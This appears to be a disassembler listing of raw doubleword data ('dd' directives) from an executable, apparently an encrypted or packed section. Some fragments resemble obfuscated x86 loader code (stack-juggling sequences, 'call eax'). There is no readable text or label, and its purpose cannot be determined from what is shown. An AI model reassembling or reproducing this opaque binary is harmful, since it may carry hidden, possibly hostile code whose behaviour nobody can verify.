0AADC6D51h dd 8FF58B27h, 1B2A4BEFh, 3765D674h, 0A3411779h, 0A5A5371Bh dd 775041Bh, 0A35A0000h, 7AEBC8BEh, 1687AEFEh, 52D8A0Bh dd 173B98B4h, 99B687C7h, 8399EA64h, 3352B30Ah, 3485ABA9h dd 2B4A0655h, 9A6BEB1Ah, 83AC0A83h, 0BAA31369h, 68D41C95h dd 0BC164781h, 0ED0A833Bh, 0CDE3EF1Dh, 0DF3E0DB8h, 0E5EC21BEh dd 3610743Eh, 0BA8BC114h, 0B1D4915Bh, 0F758AABCh, 2924C379h dd 0CBBh, 0B313438Fh, 0B1113D8Dh, 0AD0D3D8Fh, 0B6143C8Bh dd 0AF0F4594h, 0B5AB37Ch, 0F9476949h, 4577959h, 0F1446644h dd 716E7B5Bh, 0B7D6A2FCh, 0C366B16h, 51E06CBDh, 0E170DC6Dh dd 31004CDDh, 607CB40Ah, 983A37A4h, 0A6390846h, 9323CF6Ch dd 0A6BAABBh, 23D465E5h, 69D09FFCh, 8A52FA8Ch, 41F402D2h dd 6ADAAA3h, 70900000h, 109DB515h, 6F4C3A2Fh, 87AE5DFEh dd 0D0052216h dd 0A839A76h, 84CC1B3Fh, 0F8EDBE5h, 15378AB0h, 0A4293B5h dd 0A2E4FD3Bh, 9575D005h, 0DF3E1074h, 0F79B8AAAh, 0FDD88F79h dd 0C17h, 0FAFA733h, 15B59929h, 9A9A133h, 1AB89827h, 0BABA938h dd 67F61718h, 5DEBCDEDh, 60F3D5F5h, 55E8CAE8h, 0C50AD7F7h dd 0B7D83690h, 0B8AAFF16h, 351E0C2h, 62EFD332h, 9A2263F2h dd 466925B8h, 9DB4BB17h, 50018410h, 109DB4F6h, 2E3F5EBFh dd 0A2B3992Ch, 2ADD6EDCh, 519BB908h, 409EAEFFh, 41EAD4A4h dd 13B7CA3h, 785F0000h, 3F5FEABDh, 0CC82D4E2h, 0C2B923ADh dd 13424EE0h, 109DB4B7h, 0ED7C1D80h, 9F3224ACh, 27BA9CADh dd 87A88525h, 9DB4FC56h, 7840C510h, 4261253Ch, 8EA2D613h dd 2F3E5F16h, 8A9F80DEh, 0A788D70Ah, 8A9EDC36h, 5860A50Ah dd 0A16F9D2Eh, 95AAD0Ch, 33h, 553688AAh, 97F64703h, 0A374EEF6h dd 0CCEBC8BEh, 3E85C2E3h, 34BC0422h, 8EF1F4D5h, 0F140C516h dd 8AE20280h, 9C2D590Ah, 0ACC7A070h, 0A0085Ah, 0BD2E0000h dd 0DFC3E06Ch, 6B6FFE4Eh, 0A1E071D9h, 6A69F8C0h, 2438EC45h dd 747C615Eh, 0B081D362h, 40113B8Eh, 2A1ABFEh, 71C08E20h dd 5B8AC810h, 109DCEF5h, 4360EC3Dh, 0B8124364h, 81109DB7h dd 0B7F16D1Ch, 5BBA109Dh, 1E434391h, 0A61A4B68h, 0A3168815h dd 0D05D4562h, 0B5042684h, 2D94EA9Fh, 26C5800Fh, 0ABE2Bh dd 183E8C00h, 84698BAh, 163488AAh, 0F4192B8h, 183C89AFh dd 47A48BBAh, 567C5AFAh, 4C6E4C06h, 4F7151F7h, 63704EFEh dd 0D88D097Ch, 435616B7h, 0E470BD1Fh, 0FB51E4C6h, 0E0C27DDBh dd 97B90351h, 13370646h, 0D2C8AC2h, 4CBh, 0C8BEA3B1h, 53E6CCEBh dd 9F2968F9h, 8EADB960h, 0AABBDA16h, 8A9AFB5Bh, 0A8A8370Ah dd 2B27B599h, 8AD7FB1Ah, 2B657BCAh, 0F41EA78Eh, 0C673557h dd 0F4CF5AADh, 73000001h, 1670E5C2h, 0DF109DB5h, 7CD736BEh dd 92109DB5h, 5D902F57h, 1687AEC0h, 5039BE09h, 529CDCFh dd 3F684764h, 11F8DC24h, 1D2FB901h, 0C0E2C08Ch, 328EDF6Dh dd 4F704F37h, 31D8CF68h, 569E6428h, 74995AB7h, 6FE22310h dd 79F79F39h, 0E8BA9756h, 62000009h, 0FE2482D4h, 1E04A2ACh dd 0C0E2C08Ah, 0DFC1E16Fh, 71A40252h, 54004DBEh, 4E045476h dd 53F54A70h, 50FC4D73h, 0F7666972h, 16B7D99Bh, 0BD112D64h dd 0DFC3E06Ch, 2F6EFF4Fh, 0B5015D90h, 4BCA109Dh, 4DE0E281h dd 77A86EFFh, 0F9480053h, 0ABA53698h, 17717B9Ah, 0EF5DF0A2h dd 0EAA573CFh, 3C0DA341h, 31000001h, 0C3E06CBDh, 300151DFh dd 765807D1h, 4D4969E3h, 20557214h, 168EA2C5h, 3499CBEh dd 5C09D332h, 79D92839h, 0D00A8A9Eh, 0D531A483h, 9E0A8A9Dh dd 430B5B7Fh, 0BF4993F2h, 0F52224Ah, 0B345AADh, 0E18E2082h dd 88D9FD10h, 20A5FCC4h, 0B9000000h, 0EBC8BEA3h, 8E989B7Ah dd 18296C16h, 8A8969E9h, 0B546C00Ah, 0AD3EC987h, 0B2715Ah dd 0C2C50000h, 320351E0h, 76C709D3h, 83D1F9D6h, 0D51F7ECFh dd 0AFA53416h, 2329BC9Eh, 0AF9D3012h, 0E888DC0Fh, 1DB0109Dh dd 3AA7902Fh, 0F53FDE70h, 0A7C684D8h, 0EAFF3F1Dh, 3ACE3F9Ch dd 371687BFh, 0F6CEF9D6h, 0EB3A0A0Dh, 3317448Ch, 2A10AEA6h dd 8AC4B99Bh, 93800EF7h, 8B9F9D4h, 45910000h, 3F8FB111h dd 3789AF0Fh, 3E8DB313h, 3F8EB412h, 0A986B515h, 7F5FF544h dd 67470B59h, 7C5AEE41h, 69490356h, 940E7F60h, 5D16B7DAh dd 0E5C21A44h, 9DB51670h, 236C4710h, 0D4EAFEB0h, 9CBE0687h dd 81A7074Dh, 43075930h, 0FE2C93F2h, 4274065Ah, 419F3F5Eh dd 51E06CBDh, 5370DC6Dh, 3CB1DF6Fh, 109DB4E2h, 0C10B6AABh dd 2A1B493h, 0A31A0000h, 7AEBC8BEh, 1687B039h, 4F704FCEh dd 5D80368h, 2756B378h, 0A82CDABh, 70FF4FDFh, 0B544A32Dh dd 0A82CE55h, 5D90AFACh, 0A82CE01h, 7814BCAh, 0F38A4A72h dd 4F325AA4h, 8000002h, 9DB51770h, 52342D10h, 0AF970075h dd 163C1687h, 0BB2A89C3h, 0A83995Fh, 2784E528h, 5E231F08h dd 668968F5h, 63E97C5Eh, 80CC5D43h, 20B092B1h, 0C6DDD6Fh dd 0A814DC3Dh, 77E6C5C1h, 1073B31Ah, 6EDE6F53h, 71C10966h dd 6C0D8CDDh, 0F6B87FF9h, 0D8F5B479h, 7B3h, 0AB0B4B97h dd 0B9193585h, 0A5054597h, 0BE1C3483h, 0A7074D9Ch, 352BB74h dd 14F7151h, 0FC4F7151h, 0F94C6E4Ch, 69667353h, 0B7DB9AF4h dd 142E6316h, 0FF4DE0C2h, 75DB6C6Eh, 378ACC14h, 0AF024415h dd 4CC6CC9Dh, 9AB203AFh, 0EAD0A03Ch, 0A378A341h, 0DE000001h dd 0C3E06CBDh, 6EFF4FDFh, 0FD07882Fh, 71056D09h, 83D6F867h dd 0B4ADE9C9h, 0F5CB0B0Ch, 7C1D19C1h, 0E57B785Fh, 0FC62149Dh dd 0E2C96C19h, 0A8306DAEh, 0D5FF3AABh, 588168Eh, 0F381734h dd 609BAF69h, 87037250h, 500A8AB4h, 0F256E9CDh, 0B43B9BEAh dd 0F8920A8Ah, 199B5983h, 55435AADh, 17000000h, 0EBC8BEA3h dd 8E989B7Ah, 18296C16h, 2A4143Bh, 4660985Ch, 708F0F7Eh dd 0F9E60A8Ah, 712BA7D6h, 0F1640A8Ah, 0A8A7095h, 0ED303F5Eh dd 71439FCEh, 890C0A8Ah, 8334C53Fh, 70D531A4h, 0C19E0A8Ah dd 8A70D24Ch, 1B7A9B0Ah, 564B09D1h, 0C3F35AADh, 47000000h dd 14FE0C2h, 84495B7h, 0C6C81539h, 17A5435Fh, 83D2B321h dd 0F5EEE3Fh, 990C7ACBh, 0BD65833Bh, 88A70465h, 9E87F955h dd 7943C210h, 0A1C4285Bh, 79CC109Eh, 50CBF4D3h, 0D735BCDAh dd 13D1BA5h, 66F7E0E8h, 4094AA23h, 44BB1746h, 61EF109Eh dd 122160F1h, 0C03592F3h, 1688A32Ch, 0E8C7E429h, 1190FFBFh dd 0BD0729D3h, 0A8064E9Bh, 2C213382h, 800EF7D6h, 301530F7h dd 1A000006h, 62C8ACCh, 163C9AB4h, 82A88C2h, 173999B7h dd 0F92C8ACAh, 0CC88D536h, 0D67CCCEEh, 0CB7DD2F8h, 0D874C5EBh dd 7FEEF1FAh, 16B7DE23h, 0BD89B5ECh, 0E3C7E470h, 656AFB53h dd 0BD3A36E2h, 687011D6h, 57F5486Ah, 6CBDD977h, 6BFC8B1Dh dd 543554E5h, 0DB6FC105h, 0B6A0B8Ah, 5A8BACh, 0C9109DB5h dd 80D26244h, 0D98850B1h, 0CAE864F5h, 16EFh, 6CBD5300h dd 0DC6D51E0h, 46EE170h, 0C28ADB87h, 27C5E4h, 0BD690000h dd 57B3226Ch, 20109DB5h, 0C286D9FDh, 0E26392A3h, 0C3109DB4h dd 1235E257h, 9DB567E3h, 0E3ED3010h, 0CEEC60F1h, 70E5C274h dd 109DB516h, 2436BEDFh, 8EAABB91h, 0B3943353h, 4312428Fh dd 4BB7C1FCh, 4223A5B3h, 16AC0B7Ah, 86A91688h, 2A3B11A4h dd 207AEBh, 0DEE90A84h, 0F86F8699h, 0FB3D2FBh, 5CBD8CBCh dd 19B6D794h, 0EACA031h, 14B3992Ch, 2BB59F2Eh, 1D6980BCh dd 0D4474FBEh, 0E528106Dh, 0FB51E4C6h, 0E864F5DBh, 0BD065B59h dd 0BE8C206Fh, 0AB0F6EAFh, 0E627361Eh, 98B52887h, 0E10A5A9Fh dd 0C4E66AF9h, 0C5B8D96Fh, 73DDBB67h, 0F498B574h, 56000004h dd 4A704E08h, 527856F8h, 4C6E4CFEh, 537555FBh, 3D704E06h dd 84C99F2h, 1A3888AAh, 74196BCh, 1C3081A7h, 3BAAB5BEh dd 16B7DEDFh, 0BDCD71A8h, 0E4C3E06Ch, 9DB51571h, 0C31F4E10h dd 8C109DB4h, 0C7183A09h, 3859B889h, 0BF094396h, 2E1EAF91h dd 3418A991h, 8DDCE425h, 76DC6C4Eh, 73D96C6Eh, 1DAE1CE2h dd 94F5486Ah, 0DA3B0A40h, 8E1F31BBh, 0AB3921BEh, 6D7796A7h dd 0FC714E6Fh, 109DB4A2h, 3AA22A6Bh, 0A341EA7Ah, 67E2h dd 0BEA37800h, 99CCEBC8h, 109DB53Dh, 95238706h, 0B72633BDh dd 168EFBE2h, 22E5240Bh, 2F5CB627h, 0E0250A8Ah dd 0BA1BBBBh, 0C2E124C1h, 0E06CBDE5h, 5A1EAEBBh, 25AF101Bh dd 56E5A033h, 0C83B9BFAh, 0A89C64Ch, 0DB37A689h, 0A40A89C5h dd 5EEA3D61h, 14468E0Fh, 62C8BC1h, 4ACB9AB4h, 0D96E5482h dd 3DE6Fh, 5F000004h, 51E06CBDh, 4EFC5072h, 4569EFFh, 0FB3B9BB1h dd 0D203A0E6h, 168EA397h, 0F9DEFD20h, 59ECBE2Bh, 61F5CCF3h dd 0FD8CDBE5h, 0A8A2F9Dh, 0FB219AF4h, 5AAD9D3Dh, 44A5h dd 0C1143600h, 0A397418Bh, 7AEBC8BEh, 168E989Bh, 7AD4666Ch dd 0C793BC1Bh, 0F8141E2h, 0FFDC8B55h, 0F8C088DBh, 89B60989h dd 9526600Ah, 0ADEBA967h, 0DA674B5Ah, 152B727Ah, 8C000001h dd 0F20C16A3h, 767E635Ch, 226CBDECh, 0C4413CFDh, 89F82ADAh dd 109E9B0Dh, 0F9D6B7D6h, 7DCC80D1h, 3115D41Ch, 3413B0A4h dd 0C495BF0Eh, 9ABA1445h, 283109Eh, 9AD630A5h, 7E9F109Eh dd 82D3F776h, 75C5EDCAh, 0BF0988D9h, 0C18B1E20h, 96FE72E1h dd 476B109Eh, 880958F8h, 0D3BB0E40h, 9E9628A2h, 0CDACF110h dd 39E1C9EEh, 0AEBF9122h, 0F38A486Fh, 41103C8Dh, 3917A1C0h dd 0B786C617h, 0B9167079h, 4191B996h, 0ACDD3C0Dh, 109DCE32h dd 0B3529AFBh, 168E9F66h, 6318E0Fh, 3895636Fh, 104E9612h dd 0EADD910h, 749963DFh, 8A296C10h, 9B3B19A8h, 392C28B5h dd 79FBA29Dh, 0CC3A17D6h, 7E000002h, 0A2882630h, 0BAA03E10h dd 0A4862426h, 0BB9D3D13h, 9588262Eh, 70E4719Ah, 72E07052h dd 6FD96E54h, 74D8694Fh, 13428D56h, 16B7E0B7h, 0BD352980h dd 0E3C7E470h, 0E1EFF951h, 1DE6EBFh, 128C01DEh, 0DB109DB5h dd 0B54FCBBAh, 3218109Dh, 61A0B1A3h, 409AB800h, 0EBC8BEA3h dd 8E989B7Ah, 4B636C16h, 7076C5F2h, 0D5243554h, 0A8AA175h dd 0A3C942CCh, 5AAD06D5h, 0BC7Dh, 6CBDE100h, 0E06D51E0h dd 2094E574h, 88109DB1h, 8FB81735h, 0B1C9D737h, 8DCB15EEh dd 95321AABh, 52C743B2h, 4F90109Dh, 9D52C41Eh, 69088D10h dd 0BDA4005Fh, 2E7BEAC9h, 0D7168E24h, 64F5B4F0h, 0B6036208h dd 2F4ECF9Eh, 3930704Eh, 22FF6E4Dh, 5B107441h, 0D968E877h dd 52B330B8h, 8E004D75h, 2B528ABEh, 0F0CEAFC5h, 0A4D97BCAh dd 79FAD91Ch, 0DCAFAA41h, 6E000001h, 725876E0h, 6A506EE0h dd 745674D6h, 6B4D6DE3h, 655876DEh, 4014A1CAh, 62F04062h dd 7FC95E44h, 64E8795Fh, 23527D46h, 16B7E1A7h, 0BD053970h dd 0E4C6E470h, 0FADBFB51h, 0DB0A86D8h, 109DB57Fh, 1CA4C548h dd 0E06CBDC2h, 70DC6D51h, 6FDD7052h, 0BF796750h, 0ADA61D9Bh dd 4C94B809h, 3C4A9F9Dh, 1A1B6E9Fh, 7194168Fh, 34DDEE0h dd 93C11032h, 0E7648EC2h, 0C3A2AA3Bh, 5C0683EDh, 23318009h dd 5F436442h, 2127BCCFh, 4890F140h, 0EFD3F5ECh, 3D5CED5Dh dd 8B15D24Ch, 1B7A9B0Ah, 0C4696BCh, 0F36697C4h, 0AC107BE6h dd 63F6D869h, 8B0758E9h, 0D36149EEh, 25AFEE7Fh, 19B6D019h dd 68B671E4h, 0CCEB2A0Ah, 0F3FD57E6h, 1772C3E5h, 57B687C7h dd 21B19936h, 0F3FD1C2Dh, 4BFD5274h, 0C684D8FAh, 4B035377h dd 0C987D8FAh, 1CB61978h, 3D22B69Fh, 0B46FEB1Ah, 0D538FE64h dd 0B40B87F6h, 0B1D4FE64h, 0B66CDD27h, 7BD56623h, 0ECCAABEAh dd 0B90EB5ACh, 0E9D1EE8Fh, 4AC4395Bh, 13FE64B4h, 80C293F2h dd 79432230h, 0A1D4295Ch, 24D0455h, 3009800Bh, 79319688h dd 0EB6587C9h, 193D0C6Dh, 9FB584C8h, 0D50CDC6Dh, 800E94EBh dd 0A8C91011h, 0E4A7DA0Bh, 0FD20FE41h, 0FE88E1DDh, 0DAA2ACE1h dd 0A8BF827h, 0A6361C3Bh, 9F3224ACh, 67F658EAh, 0E978D063h dd 0BA8C9A8h, 59F39927h, 3396B3CFh, 418F5938h, 0EF7ECE5Fh dd 0D760329Eh, 16388A2Dh, 0D2B00347h, 0CD848688h, 0DD6C0DA5h dd 371E9B35h, 0A55DEE24h, 0B89A3814h, 34162725h, 0C89CADA3h dd 6E1CAF93h, 56DBA3FFh, 48296CA9h, 698CD2F9h, 9E033888h dd 1E9BF5FFh, 4B6BE174h, 0E978D465h, 0AECh, 5E7B5200h dd 0D667ED7Ch, 0BDB32DB7h, 7254E571h, 0FADC6DDFh, 7052E365h dd 0DFE372E0h, 0F330252h, 7FC392C2h, 2D112030h, 0BC9EAF9Bh dd 2215242Ah, 2D7368h, 24048900h, 405E089h, 83000000h dd 48704E8h, 89525C24h, 4C281E2h, 81000000h, 4EAh, 24148700h dd 2434895Ch, 81E28952h, 4C2h, 4EA8300h, 5C241487h, 0BE240C89h dd 69387259h, 69A0B850h, 0C6316F22h, 0C8B5458h, 4C48324h dd 0CFB850h, 600D6004h, 0D18A36Ch, 2CB10EFDh, 0B76EF735h dd 89C8017Ch, 34FF5830h, 0C4835924h, 24348B04h, 81E68956h dd 4C6h, 4C68300h, 5C243487h, 0F95123E9h, 115658FFh, 0CD32DEAEh dd 0B5F1D6FBh, 0B86AF7BFh, 61A2FB2h, 0E0FFC503h, 5BA8D0FFh dd 4630B462h, 6197CED1h, 55ED9D5h, 9CB53CBh, 31098D8Dh dd 0D18B061Ah, 1BBD8D89h, 10E90613h, 26000000h, 411B4F3Dh dd 56D4EAA4h, 0CE257EB5h, 0C7E952B6h, 1318DD85h, 647806h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 9B5DBF9Bh, 31F5B58Bh, 85C70613h, 6133055h dd 0 dd 19399509h, 0B5FF0613h, 6132831h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 1C35646h, 0FFFC6D72h, 131D8995h dd 0ADF5BB06h, 858B5817h, 6130179h, 95FF006Ah, 6130DA9h dd 2FEBC08Bh, 0D3208B03h, 3BE387BBh, 0D1744846h, 0A20C5CF7h dd 71DF4B38h, 0B5673192h, 93A797D5h, 23BE7238h, 5DAA8455h dd 4EE81B58h, 0CC88268Ch, 0E89E1DC3h, 0Dh, 2E1A1648h, 8B64F9E2h dd 0BABB48B3h, 6FB86693h, 85035F02h, 6131CD5h, 6607C781h dd 44B20000h, 0DB81F62Bh, 7A6A73FBh, 0F370C8Bh, 1484h dd 0E800F00h, 0E9000000h, 9, 10D554A1h, 812647C7h, 0C9C181B2h dd 890D09D6h, 132C7195h, 89E98106h, 8032B57Dh, 0E9812BE3h dd 49657A4Eh, 51C7B70Fh, 8FDF8B66h, 0C28B3704h, 1EE83F8h dd 2491858Bh, 4E4E0613h, 9995894Eh, 8106132Ch, 0FF9A9CFEh dd 0E850FFFh, 66000000h, 14E9DA8Bh, 0D000000h, 5AC2D53Eh dd 0DEEC80C9h, 0FFFF87E9h, 5DCE9AFFh, 8DF7CE14h, 1A32AB8Dh dd 0BF66F506h, 8D89A34Dh, 6131BBDh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 60C35242h, 8BCC6942h, 131E4185h dd 0DD85C706h, 61318h, 6A00006Eh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 364C353h dd 1D9DBD8Bh, 8B600613h, 13094DB5h, 0BD896106h, 61321A9h dd 305585C7h, 613h, 8D890000h, 6131EFDh, 0ED5B5FFh, 81660613h dd 0FF7AFCE2h, 131D8995h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 4BAAE299h dd 8DA9FAE1h, 13A19D29h, 6A0613h, 0DA995FFh, 0C08B0613h dd 446B0FEBh, 0E2912059h, 0A6AEE932h, 49058F38h, 2FE979h dd 7CD80000h, 3072h, 0Ah dup(0) dd 557E900h, 1C680000h, 0E9061A34h, 0FFF94E60h, 1A34D968h dd 4E56E906h, 3E68FFF9h, 0E9061A36h, 0FFF94E4Ch, 0EFCF87D3h dd 0F5D579C9h, 0E9C981D3h, 0FAD878C7h, 0EBCB89D8h, 0C71677B8h dd 0BD0B2D8Dh, 0C0133595h, 0B5082A88h, 252A3797h, 0B7E856B0h dd 580A1F16h, 55E470BDh, 4E6CE071h, 506F1752h, 0C67506Fh dd 0DAA2104Fh, 26CD4938h, 0B101109Eh, 854FCE9Dh, 8F138B06h dd 4ADEC416h, 61ED3Dh, 0CDEA2BB8h, 0D8FA56E5h, 6302CA88h dd 8B11B412h, 0A7F0B0Ah, 0ACB712E2h, 379BA5Ah, 3A1D0000h dd 8B064FCBh, 0EBF5180Ah, 0D5DFB971h, 61F05CEDh, 459C9820h dd 72F36241h, 0F3168EA5h, 0D5972BCCh, 4999117Eh, 0F5C6405h dd 84D57DCBh, 0A836405h, 0E7E50E03h, 3E942C35h, 453DD6E8h dd 0ECCBE889h, 5A1373C6h, 4030B63Dh, 2B6AFB9Ah, 834F62A1h dd 0C5481315h, 55313874h, 59320776h, 3C1B0D02h, 0BA8BC516h dd 44B02A5Bh, 147900FEh, 0E1FE1FCCh, 0C6E468F9h, 673551E4h dd 0C3FD9DC4h, 36B5A8C9h, 47768531h, 377A5A0h, 8DD90000h dd 77C7E9C9h, 7FD1F7D7h, 76C5EBCBh, 87D6FCDAh, 71BEEDCDh dd 2787CD1Ch, 3F9FB301h, 2482C619h, 1A1ABFEh, 6CE61738h dd 3516B7E9h, 0BEA382DCh, 0CB9AB605h, 77D5684Ah, 0BB8EB916h dd 924351F7h, 0DD104D97h, 16884245h, 0CA5E4986h, 76B33E18h dd 0DAE43E2Fh, 0AAAD0A83h, 83DADF3Bh, 465A80Ah, 0DADC36A7h dd 60A50A83h, 2B80A201h, 3CD4C1Dh, 0D4CEF9D6h, 0C46748DAh dd 0C11D506Fh, 8A0A8410h, 428FC10Bh, 10A52154h, 2F6E0A84h dd 0FB4A704Eh, 70557A59h, 0F8D6A87Dh, 2362B736h, 415D917Ch dd 0EF7ECA5Dh, 36C726AEh, 0E948BAD5h, 0D588C415h, 800B1920h dd 0BA93CE5Dh, 96000002h, 8AB00E48h, 92B81638h, 8CAE0C3Eh dd 93B5153Bh, 7DB00E46h, 480C59B2h, 5AF8486Ah, 4701567Ch dd 5CF04167h, 0FB6A757Eh, 16B7E89Fh, 0A30D3168h, 7AEBC8BEh dd 168786E4h, 2051E025h, 0A8381A2h, 88FDDAF9h, 0A83820Eh dd 81BC1647h, 850A83h, 800AD233h, 2B13E10Bh, 0D0BB5AA4h dd 9F000001h, 0C3E06CBDh, 4ADFCDCh, 57611081h, 0D973C608h dd 0E2A4BDF9h, 0EF5590C5h, 0BFDE168Eh, 3689B1AEh, 0E0C24312h dd 94F3FD4Bh, 0A8AEB36h, 6488018Dh, 5AACD094h, 693Ch, 0DDC22200h dd 0EDE4A91Ch, 0D7E3ED90h, 0F8D7F492h, 0B52CA6D7h, 0F065109Dh dd 109DB496h, 0EC313E5Fh, 76D592C7h, 666EEA64h, 8F0E2627h dd 0F2436716h, 428A0B5Ah, 0A0D160A5h, 0A8AFE22h, 0EE7FC95Eh dd 0B92E5AECh, 0E84F4F58h, 7357E687h, 4C4669E1h, 93FFC6AFh dd 0FF6E51F6h, 0A8BA9A3h, 379F296Ch, 5AAC1F79h, 0BAE1h dd 6CBD7500h, 4D7251E0h, 0BCF6530Eh, 0BC9E26D3h, 3416272Dh dd 0B89AABA1h, 0A2882725h, 5A784012h, 9E2D892Bh, 94B80910h dd 8B811037h, 0C7234D93h, 17BC7B12h, 18A08336h, 0A4351D3Ah dd 0CD1420A8h, 55EB1AB9h, 5216885Dh, 1FAE9433h, 73D7A16Fh dd 93F25FF0h, 94C00D33h, 0F6B3EE1h, 85C06780h, 155h, 0C7E76FFBh dd 0DDFD51E1h, 0C1E169FBh, 0A20050DFh, 83233180h, 0DF6E9F90h dd 0E5735575h, 0D86B4D6Dh, 0DD705270h, 5D824F6Fh, 0B7EAAE28h dd 40227716h, 0C7E470BDh, 0F47E24E0h, 8628E3AAh, 0CC4D1C36h dd 61F4D604h, 0C5EACBEBh, 409D2367h, 6572C8F0h, 48797358h dd 0BDC58F59h, 6D51E06Ch, 66BFAADCh, 0F30FE74Dh, 0E3123592h dd 109E8667h, 78C9ED30h, 0F1CE0CD4h, 0BD579C9h, 0EFCCBAAFh dd 247EEFD0h, 0ED109E86h, 865DB9A8h, 0E726109Eh, 988D00DDh dd 51168FCCh, 0EFD0EFCCh, 8B36247Eh, 3A8ED0Ah, 0DC363CDAh dd 9CBE0669h, 82A8074Dh, 97F36232h, 600A8ADBh, 46945C3Dh dd 8ADBB717h, 0EA62F30Ah, 0FD57E6CCh, 8B716Ch, 0A3CD0000h dd 159502BEh, 9ACB3873h, 0EDA9DCFBh, 3616885Ch, 614986D7h dd 0A8DBAD4h, 0A6F8347Bh, 8ADBFDC7h, 6BBEE4C2h, 0E12150E1h dd 2E20DC89h, 4A9B47C4h, 9C83A402h, 9ACBBB59h, 0D41C1740h dd 0EC1F8409h, 0BE9623BCh, 0E56DFBDFh, 0A9AB3554h, 21253418h dd 0E068FB92h, 398E3051h, 0BEDF3E0Fh, 9E84B9AFh, 2C2E3F09h dd 0F4D3B298h, 1C490581h, 854FCED4h, 71C46E0Bh, 26EFEE15h dd 6100D4D6h, 7ECE5F41h, 3F2EFh, 7B500000h, 0E571BDE1h dd 6DDF7254h, 0E365FADCh, 72E07052h, 252DFE3h, 92C20F33h dd 20307FC3h, 0AF9B2D11h, 242ABC9Eh, 0EC812215h, 4, 68243489h dd 322Fh, 81240C89h, 4ECh, 241C8900h, 3E456850h, 48B4F3Fh dd 4C48124h, 2D000000h, 18F812F2h, 521B130Dh, 5E8C10Ah dd 27793C05h, 58C18904h, 241C8B54h, 5104C483h, 49E4B951h dd 4C2908ECh, 8F590424h, 43810843h, 0EC49E408h, 241C8B08h dd 81E28952h, 4C2h, 4C28100h, 87000000h, 8B5C2414h, 8950240Ch dd 405E0h, 0C0830000h, 24048704h, 4922E95Ch, 9267FFF9h dd 0ACBA8A97h, 0A692826h, 0D04C790Dh, 37B8B80Eh, 0C503061Ah dd 8B79E0FFh, 0FEFA2290h, 0F61100FAh, 864A0A1Ch, 0AA7D5E52h dd 34A44610h, 83264612h, 7B907FECh, 0D8311DD0h, 0B9952EA5h dd 5A8238E7h, 0CCB37A66h, 0E39107B4h, 5F1356BBh, 0BE2C1D25h dd 231E041Dh, 0FE8697Ah, 3A000000h, 58F508EEh, 98115843h dd 9940E536h, 0B9669F4Dh, 6058B74Ah, 0B86657B5h, 8161BD6Ch dd 5DC4C0h, 0AE900h, 128B0000h, 67CDE644h, 3558D701h, 1736BAh dd 0CF8B6600h, 606030FFh, 60D88B66h, 9E96161h, 50000000h dd 383D947h, 7CC2EF7Ch, 0B70F5B61h, 2EEB81F0h, 66167C9Eh dd 0F381F88Bh, 2FF76063h, 0DE816056h, 764D8602h, 0FE9h dd 95A09B00h, 8608892Bh, 0B7A60756h, 84021AB2h, 0C3815961h dd 1B9AA022h, 8E8h, 4D8DFF00h, 0CF04124Bh, 68F0F36h, 81000000h dd 0D596E7D9h, 18895F0Dh, 2C820Fh, 11E80000h, 7F000000h dd 2E1905DFh, 0C60B6867h, 0BDF6AA4Fh, 0AAEEEC51h, 10E9h dd 0AEA0AE00h, 0D678F6BFh, 65A8E040h, 392856D1h, 0E8835F78h dd 0F4AF804h, 0FFFF5785h, 9E9FFh, 4A340000h, 0DF8ED402h dd 0E8815C9Ah, 0Ch, 2A333B5Eh, 0BE00ECE3h, 8A23C21h, 45C88166h dd 8E0F5E66h, 2, 0C68118B4h, 66D1h, 5E8h, 7A8E4900h, 8166F491h dd 5842A0D7h, 0ECA420BAh, 5EF28133h, 6633ECBDh, 0FFAAD6BFh dd 13E936h, 0FE060000h, 7AC95546h, 27C1DD12h, 906537Ch dd 99CB7383h, 66565BF6h, 8159C38Bh, 0F19D5FC3h, 0BE95372h dd 0EA000000h, 0F6103E4Eh, 73CF675Bh, 815FBC57h, 0DCFD0BC3h dd 2810F67h, 8B000000h, 1FEB81CFh, 0E9011165h, 14h, 8296026Ch dd 7FB625F6h, 0B1FD6769h, 5CE07409h, 0A879C07h, 0DE953h dd 82670000h, 0E6EFE05Dh, 0FC199376h, 8FABC20Ch, 0CDE58006h dd 7E68EE81h, 6EBF10AAh, 812A27C8h, 0AA7E64C6h, 5ED18110h dd 4A32E0C2h, 0FF65850Fh, 0BF0FFFFFh, 11E8C0h, 8B460000h dd 9C57D05h, 0A461AFC0h, 0A184FA0Ah, 0B65927D4h, 0F38B59A0h dd 5C49C181h, 680000h, 0E8000000h, 9, 0DC3315EBh, 0A5D28C1Ah dd 36CE80DCh, 810F5F5Eh, 3, 8B55C480h, 890F391Ch, 5, 0D5D88166h dd 0C6EB81C0h, 0E84D78B6h, 5, 7491FAF9h, 0C3815E48h, 608332F9h dd 40F381F8h, 6671DAC4h, 42DED081h, 0E9391C89h, 0Fh, 7D90628Ch dd 98063022h dd 0E3650215h, 8389C4D1h, 0B70F04EFh, 78FF81D1h, 0FFFFFA4h dd 1485h, 21F68100h, 0E90B126Ch, 23h, 9036DDB9h, 3B0711E1h dd 0F08166AAh, 88E9A0BBh, 85FFFFFFh, 0A8AD757Eh, 4D58FF08h dd 0BEDD3168h, 8B7CBF74h, 25BD83C0h, 61316h, 0BD830975h dd 6132C81h, 50197400h, 0B8C08B53h, 421h, 0D7D8589h, 9D8D0613h dd 615A97Dh, 585BD3FFh, 2C81BD83h, 74000613h, 0B8535017h dd 421h, 0D7D8589h, 9D8D0613h, 615A66Ch, 585BD3FFh, 9D8BC08Bh dd 6130BB9h, 11E185C6h, 68560613h, 9CA8B852h, 1EE9B5FFh dd 858D0613h, 6167C33h, 46AD0FFh, 100068h, 25B5FF00h, 6A061317h dd 85D0FF00h, 0D850FC0h, 0B8000000h, 0 dd 75338D8Dh, 0E1FF0613h, 0C38BC88Bh, 53C4003h, 0F8h, 30C508Bh dd 2DBD83D3h, 6132Ah, 0E840Fh, 9D8B0000h, 6132A2Dh, 0BF1858Bh dd 3890613h, 858D5251h, 61343ECh, 0FA8BD0FFh, 0D18BF18Bh dd 0A4F3C88Bh, 11E185C6h, 68560613h, 0D41F6D39h, 1EE9B5FFh dd 858D0613h, 6167C33h, 68D0FFh, 6A000080h, 0D0FF5200h 